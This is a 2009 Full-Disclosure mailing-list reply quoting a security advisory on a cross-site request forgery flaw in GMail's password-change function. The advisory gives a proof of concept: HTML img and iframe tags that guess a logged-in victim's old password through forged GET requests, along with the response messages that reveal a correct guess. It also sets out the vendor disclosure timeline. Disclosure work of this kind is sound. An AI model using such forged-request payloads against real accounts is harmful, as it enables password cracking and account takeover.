Message-ID: <e1b25fd0903030814g27b478ect94145dcba5c116a3@mail.gmail.com>
Date: Tue, 3 Mar 2009 11:14:25 -0500
From: Jason Starks <jstarks440@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: [ISecAuditors Security Advisories] CSRF
	vulnerability in GMail service

That is one hell of a timeline.

On Tue, Mar 3, 2009 at 5:55 AM, ISecAuditors Security Advisories <
advisories@...cauditors.com> wrote:

> =============================================
> INTERNET SECURITY AUDITORS ALERT 2007-003
> - Original release date: August 1st, 2007
> - Last revised: January 11th, 2009
> - Discovered by: Vicente Aguilera Diaz
> - Severity: 3/5
> =============================================
>
> I. VULNERABILITY
> -------------------------
> CSRF vulnerability in GMail service
>
> II. BACKGROUND
> -------------------------
> Gmail is Google's free webmail service. It comes with built-in Google
> search technology and over 2,600 megabytes of storage (and growing
> every day). You can keep all your important messages, files and
> pictures forever, use search to quickly and easily find anything
> you're looking for, and make sense of it all with a new way of viewing
> messages as part of conversations.
>
> III. DESCRIPTION
> -------------------------
> Cross-Site Request Forgery, also known as one click attack or session
> riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
> malicious exploit of websites. Although this type of attack has
> similarities to cross-site scripting (XSS), cross-site scripting
> requires the attacker to inject unauthorized code into a website,
> while cross-site request forgery merely transmits unauthorized
> commands from a user the website trusts.
>
> GMail is vulnerable to CSRF attacks in the "Change Password"
> functionality. The only token for authenticate the user is a session
> cookie, and this cookie is sent automatically by the browser in every
> request.
>
> An attacker can create a page that includes requests to the "Change
> password" functionality of GMail and modify the passwords of the users
> who, being authenticated, visit the page of the attacker.
>
> The attack is facilitated since the "Change Password" request can be
> realized across the HTTP GET method instead of the POST method that is
> realized habitually across the "Change Password" form.
>
> IV. PROOF OF CONCEPT
> -------------------------
> 1. An attacker create a web page "csrf-attack.html" that realize many
> HTTP GET requests to the "Change Password" functionality.
>
> For example, a password cracking of 3 attempts (see "OldPasswd"
> parameter):
> ...
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
> or with hidden frames:
> ...
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
> The attacker can use deliberately a weak new password (see "Passwd"
> and "PasswdAgain" parameters), this way he can know if the analysed
> password is correct without need to modify the password of the victim
> user.
>
> Using weak passwords the "Change Password" response is:
>  - " The password you gave is incorrect. ", if the analysed password
> is not correct.
>  - " We're sorry, but you've selected an insecure password. In order
> to protect the security of your account, please click "Password
> Strength" to get tips on choosing to safer password. ", if the
> analysed password is correct and the victim password is not modified.
>
> If the attacker want to modify the password of the victim user, the
> waited response message is: " Your new password has been saved - OK ".
>
> In any case, the attacker evades the restrictions imposed by the
> captcha of the authentication form.
>
> 2. A user authenticated in GMail visit the "csrf-attack.html" page
> controlled by the attacker.
>
> For example, the attacker sends a mail to the victim (a GMail account)
> and provokes that the victim visits his page (social engineering). So,
> the attacker insures himself that the victim is authenticated.
>
> 3. The password cracking is executed transparently to the victim.
>
> V. BUSINESS IMPACT
> -------------------------
> - Selective DoS on users of the GMail service (changing user password).
> - Possible access to the mail of other GMail users.
>
> VI. SYSTEMS AFFECTED
> -------------------------
> Gmail service.
>
> VII. SOLUTION
> -------------------------
> No solution provided by vendor.
>
> VIII. REFERENCES
> -------------------------
> http://www.gmail.com
>
> IX. CREDITS
> -------------------------
> This vulnerability has been discovered and reported by
> Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>
> X. REVISION HISTORY
> -------------------------
> July      31, 2007: Initial release
> August     1, 2007: Fewer corrections.
> December  30, 2008: Last details.
>
> XI. DISCLOSURE TIMELINE
> -------------------------
> July      30, 2007: Vulnerability acquired by
>                    Internet Security Auditors.
> August     1, 2007: Initial notification sent to the
>                    Google security team.
> August     1, 2007: Google security team request additional
>                    information.
>                    about and start review the vulnerability.
> August    13, 2007: Request information about the status.
> August    15, 2007: Google security team responds that they are still
>                    working on this.
> September 19, 2007: Request for the status. No response.
> November  26, 2007: Request for the status. No response.
> January    2, 2008: Request for the status. No response.
> January    4, 2008: Request for the status. No response.
> January   11, 2008: Request for the status. No response.
> January   15, 2008: Request for the status. Automated response.
> January   18, 2008: Google security team informs that don't expect
>                    behaviour to change in the short term giving
>                    the justification.
>                    We deconstruct those arguments as insufficient.
>                    No more responses.
> December  30, 2008: Request for the status. Confirmation from Google
>                    they won't change the consideration about this.
> January   11, 2009: Publication to Bugtraq. Rejected twice.
>                    No reasons.
> March     03, 2009: General publication for disclosure in other lists.
>
> XII. LEGAL NOTICES
> -------------------------
> The information contained within this advisory is supplied "as-is"
> with no warranties or guarantees of fitness of use or otherwise.
> Internet Security Auditors accepts no responsibility for any damage
> caused by the use or misuse of this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists